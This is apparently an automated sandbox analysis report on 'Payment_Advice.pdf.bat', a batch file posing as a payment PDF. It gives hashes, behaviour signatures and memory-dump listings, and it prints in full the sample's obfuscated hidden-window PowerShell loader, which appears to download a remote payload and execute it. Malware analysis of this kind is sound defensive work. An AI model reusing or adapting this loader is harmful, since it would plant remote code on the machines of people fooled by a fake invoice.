Analysis

  • max time kernel
    300s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2024, 01:06

General

  • Target

    Payment_Advice.pdf.bat

  • Size

    7KB

  • MD5

    21f91634f445a50f35c006b0c020d0e5

  • SHA1

    64515fa088794b3a62d9863a923b0826e55fecdc

  • SHA256

    b86eb964387f5ed092dad608dd90e9db78fc16d813e6c0720ef409ff458df8d6

  • SHA512

    cd85d95ffac19c47fd06ccc3ac21e6fa4448237572db89d95d0d4f880ef52661998743bb6a152727cf28e472becebc314e62f3f92aad4b5bd5aa885ca6662555

  • SSDEEP

    192:83QlNCq7EH9QUjeYtgpcWOUSNAx21W9v7iBLzP3:4oNCqQ9XqYt2SNe214OJzP

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Payment_Advice.pdf.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden " <#Nailsickness Fllens Inhaling Mummied Sacrospinous bonafide Arthropathy #>;$Abater='Sensibleness82';<#Loger Gestusernes Quittances #>; function Hensigtmssigheds142($Hanefjedsmnster){If ($host.DebuggerEnabled) {$Gemmily++;}$Hypercholesterolemic135=$Magnetoplasmadynamics+$Hanefjedsmnster.'Length' - $Gemmily; for ( $Pantebrevshandelen=5;$Pantebrevshandelen -lt $Hypercholesterolemic135;$Pantebrevshandelen+=6){$Pollocks=$Pantebrevshandelen;$Vandpibernes+=$Hanefjedsmnster[$Pantebrevshandelen];}$Vandpibernes;}function Winonas($Rigelian){ & ($Spillene) ($Rigelian);}$Blgebryderes=Hensigtmssigheds142 'P oblM Dis,oGravkzHayshiMechalUdviklMissaaVivif/ Felo ';$Sprogvidenskaberne=Hensigtmssigheds142 'LeuciTPaleol .tbesEarsp1 S en2Vesuv ';$Tepee=' heli[ celenKumuleEmusztFljls.D nneS vtrEMistnRZircoVTum eiKnoc,cOverweMac ep trkokinneIformeNFundattalipmFrienAJun.tnunfloATi.glGRelecESvangr Hkl ]Svlgs:Umbri: ourSWariseB,ddecpartiuTapesrd areiSubroTAgteryAntiaP StrmR Tommo StrotPyrenoAllicCDisafORisinl Plug= vrgp$TroldSPr.cePmejetrFluoroStaleg.aadpvEchoiiShelld De iEBishoNOpp,ssDdsenkForsta runbOpgavEExaugrFiskenInelee.hila ';$Blgebryderes+=Hensigtmssigheds142 'syste5Jemed.Inabo0Parad Hydri(Pe,ipWMo,ieiAfstanDatoldTo oro St pwScopisSalon KancN TraeTno au S mit1Ins e0M,ris.Slags0 Semi; P,ed Hyp,rW OuthiAnmienVelko6capre4 Pase;Flora tyv,sxB tan6Desmo4Chemu;Refur SolinrSt.fpvDru.a:Ste.e1Solbr3 arsu1 Hibe. ugti0Refl )Epi r OmtaaGKgfnue CambcFormlktillyo I it/ Alaz2Brneg0Anhol1C mba0Kirke0konte1miske0Haze 1Apiac gemy FBrstii MunirEmalje Amorf Fa eo CajuxMulti/ El,c1Theod3Trus 1Toupe.Salpi0 Dad ';$Ristningers=Hensigtmssigheds142 'PunglUant lSGorgoEU.camRSha l- RobuaTolvtG .rkaeI chmnByedaTBogfr ';$divagations=Hensigtmssigheds142 'Kedelh Rebetunsp tmedlip Sc.tsEleos:Estiv/et no/Sap.udaltetrMais iS idsvEc noeKunst. Ud egGrievoGymnao tocgBatiklSalaaeSpr g.pistecDiss ocon.emPejl / pistugenkec Tilk?Pa roeGooksxForg pRufouoSgetirOverltSamme=Grog,dNonapoKvartwEsprinNonexl JrgeoScul aProdudJacka& ippeiUf,ttdForud=Prein1 BestuBett t nthrAAlung-Una lxMarke9ArcheSN tioQ aalJMirthuFl.geEMind.9.oong0SoberbSprge4TandbXHif lnDialy8 SvorwParnenPromisBenefQSuffeR kia4Ge,iak nectL.ommep ParaVAllanQDrtrss dbetsForstoFolio ';$hormonises=Hensigtmssigheds142 ' Unde>Mac,i ';$Spillene=Hensigtmssigheds142 'In,raIVetoeESaddlXMolly ';$Velsituerede='Unpetrified';$Staphylea='\bhutia.Air';Winonas (Hensigtmssigheds142 'Lys y$ lansGResulL TartoStef bpanfuaPreneLTreda: be oPRevolhAtrenlformaEInfidb,gtigoLintsT Monoo Ch,rmcolorYKo.pe=Bloka$ iskeeBi teNKomplVArmer:KommaaMyresP Epo.pDumpeDaldera M geTKaktuA Sejs+Offic$ Eu ys CodeTTremmAPortuPSuperHAltery Rif L,onceE owteaOccip ');Winonas (Hensigtmssigheds142 'Neds,$halskGE.sfoL Di ko R sobSolkra Br nLBoxie:O erlFBl ktO AraerStiltGHy rarRatefUBeastNW,oleDBlo ksUn,ffFSwaddAOctilrSplanVParroEThyrsrAlbum=Flers$Fea hd Hu aIFe,ltVTi,faa verng I.trA TractGeb.kiEmpowOludben ainfs Trkn.Ja,ziSShu.tpSicklLIagtti St lT Neon(Besv $HalfphAdstroVakuurV estm andioCreesnEmbraiFrostsSq adeagnewS Dal,) tora ');Winonas (Hensigtmssigheds142 $Tepee);$divagations=$Forgrundsfarver[0];$Noseover=(Hensigtmssigheds142 'Nongo$T lvigLrlinL N alO fuldb onfiAda.vrLC eer:,cillmAvestAalvisrSpiseo ImpekAntndkNit iahypernRetteE debiRSpildEMohelSOffer=ChowanYan ue .unkw,rafi-.egynoUnth BTa tajSprinE OxheC,irbuT ydro .idesssla vy jumbsMidtstAu onesnic,mGrasp.TofuknArsoneSandhTUvanl.UdkldWSkimleGv.raBidio.c Saftl ,ariIT rmiE herenrad cTFibre ');Winonas ($Noseover);Winonas (Hensigtmssigheds142 'Mande$ S,avM SpecaBerkor bil oChampklrevik mattafiltenTvrdreRoa sr Mat,e waapsVarme. opskHP reeeTaleba ForsdM.chae La nr ,agosblaat[Usa d$EkstrRLinjeiSm llsFrkrit Dis nS aldi FlignUdpl gIm,roeHopefrPristsFrapl]Logic=S lin$HailwB Fol.lSpottgparaseMetapb ordorLivsfyP llad ,odeeDikdirDishaeIncoisMenin ');$Modtagelsesdatoens=Hensigtmssigheds142 'Circ $ Fe rMAdjunaHeeltr levioAssockRos,dkL,ngsaInfranDollae.rainrUndeceBallisR arb.agersDTubaeoFlankwClearn studlTippeouni oaAnortd,ilflFFunkti riklObstreleuci( Sub $StilfdBesluiPibervPapyrale engSmel aAuditt udgii SubsoLean,n ractsVredt,Miche$Panc R a ago SindwknejsaOmbranPon,ebOptagelytt r MorerEpigryGro,n)Uniso ';$Rowanberry=$Phlebotomy;Winonas (Hensigtmssigheds142 '.eopa$HaandG,espelElastOFil pbHent avatt,lAired:WyledUOuthedTei,tlMuseuIT utoGprogrGImpere UfejRUov rBS praA rypAstuk.DStrideEfterN O tsSResor=col m(KropltTegl eRevensDeorwt V ge-Sing pUdvikaFrilathanaphS.bur F,oks$OrtogRB otloR comwAcet aAlexiNKnipsbHydroESlikprDecasrUdst,Y Fost) bran ');while (!$udliggerbaadens) {Winonas (Hensigtmssigheds142 'milli$bimilg SphelKas eoSkralbBaccha O thl Atte:GladsN N dseKobbelRensneF ndss,mutc=Inter$AgaintHaardrBeskru BreveB nqu ') ;Winonas $Modtagelsesdatoens;Winonas (Hensigtmssigheds142 'corolSStundTProf.amresfrUsli TMass -BetydsAlbueLforskeIns aE ybatpCheck entr.4Blokh ');Winonas (Hensigtmssigheds142 'C ris$cr,diG BusklAnnonoSt mpbSnupta,ukkel rund: StraUSort,dS perl VelsiInde,gHungrGFingeetomm,R doz b SwinA StraaS eepD KrakEbifalNKonnes Ridt=Udsp (Seje TForbrEKla.hSKogtet ytho-KltriPLenosaSystetTeks H Mate Att.i$SprecRDolkeo,rovewSucceASamojNNa coB FejleEaverr GennRNu haYBankn)Creat ') ;Winonas (Hensigtmssigheds142 'Inc r$ Kas GUltral P.dfoCheepB OktaaRa eoL,mrer:La geRStln.i Te.cDBer meN ncoHAnnike bar s T,llT CotieForu =Subpr$ UndeG Jag,L MarcO,osheBG.emaaAffluLHydr :enjoikFlambrTilsteSammesBacksT FremeKogen4Sanit7 unn+med,e+Korp %Rifbj$Footmfconfio DuperDedikGProgrR BemaU kgsbNFremkDS inns Ud pf UpfraWreatRglucoVTra ieB acarOpdri. Om.tc UndeOFriedUNettoNTopi,T Skrk ') ;$divagations=$Forgrundsfarver[$Rideheste];}$Colley=336825;$Alrunerodens=30714;Winonas (Hensigtmssigheds142 'Blind$Lde iGsprinlByggeO Va dB VindA.orenlPriva:FavrsK SimuyJern a,mpiruHuskenTelesGRadi. Teoso=semi Naes,Gforbre StilTYello-Mo ilcDjvleoDatasNFygerTShye ESkoddnCoregT inst Astar$ NursRNarraOVirksWGeoloASure,nCircuB Dispe OffeR F kurS.ermy Tant ');Winonas (Hensigtmssigheds142 'Creat$ EtamgMa tel AfteoVestab ArseaKatetl .rst:PamflT UranjMenneePorn nVideoeHydros Hea tSimuleIchthm OlseaOverdnEnrobd,verds I dsl IncooGateavCounteKampkn atoe RabbsTampo Indda=Gunn Sudse[ UdskSAfkbeyFejlpsAbysstforsteOutw mOphol. DiakCNi onoChenfn Struv Havee Te trMiniat nac]En eg: Stri: uricFForlir B.rio nebbmOoze,Bhexosa Ta lsKvgeneKlogs6Aarhu4Ser mS ClartBenf,rSolv iTellunMund.gVejba(Unexa$,argeKF,mteyanatoaGeopouSystenSlipegkandi)Qui q ');Winonas (Hensigtmssigheds142 'Salut$GantlGGlassLBodleo A,arbgul.mABloduLKrepi:DiateTSkydeEBlretrEm.eaRFlo piTwyerN Bu,a Ggler=Thigm preli[OplggsPernyY Tetrs,endiTUhjlpE elanmIndes.stibetFormueDisprXUdgraTStime.SauraESalpenAngorcPoemeoNytaaDgaffeiPinboNNonadgCirku]Kn ld:Spa k:FiligASamfusS,vbrcHvidkIPromiIHelio. O deg U veeAntedtNectas BractBloodrConvuI M ltnOperag Ot s( Leg $BrudeTBrnefjf,rcaE Tre nSmrinEK treSPseudtOmvenESu erMK,mibaMytedNEmbr d coosEwh wlRegiooHap.ov,etniE Angen,olkeeLa resSur e)Mollu ');Winonas (Hensigtmssigheds142 'F lka$SubjuGDiploLAlkoho StenbIgnoraOvergLBowep:AggloPEkkoeaTrre T Ret eB unsNKolo,t BraclSmrekY Sub,=Slaas$ Va,gTLejeve RapiR AssurPianiI odpaNA.pha. U,nosudpibUKolleBPoc es acocTAvisfRUn doibagpiNrourkg Lers(Hydra$SoldyCFlowco Tun LUnderL Smrbe B,vayHjere, Perc$ValutAHalvkl Propr ArmaUVikinnUnorieR egerSto,hOBrystdSkrivE trgen A busHumph)Leono ');Winonas $Patently;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2344

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2344-4-0x000007FEF55AE000-0x000007FEF55AF000-memory.dmp

    Filesize

    4KB

  • memory/2344-5-0x000000001B810000-0x000000001BAF2000-memory.dmp

    Filesize

    2.9MB

  • memory/2344-6-0x00000000028F0000-0x00000000028F8000-memory.dmp

    Filesize

    32KB

  • memory/2344-7-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

    Filesize

    9.6MB

  • memory/2344-8-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

    Filesize

    9.6MB

  • memory/2344-9-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

    Filesize

    9.6MB

  • memory/2344-10-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

    Filesize

    9.6MB

  • memory/2344-11-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

    Filesize

    9.6MB

  • memory/2344-12-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

    Filesize

    9.6MB

  • memory/2344-13-0x000007FEF55AE000-0x000007FEF55AF000-memory.dmp

    Filesize

    4KB

  • memory/2344-14-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

    Filesize

    9.6MB

  • memory/2344-15-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

    Filesize

    9.6MB

  • memory/2344-16-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

    Filesize

    9.6MB

  • memory/2344-17-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

    Filesize

    9.6MB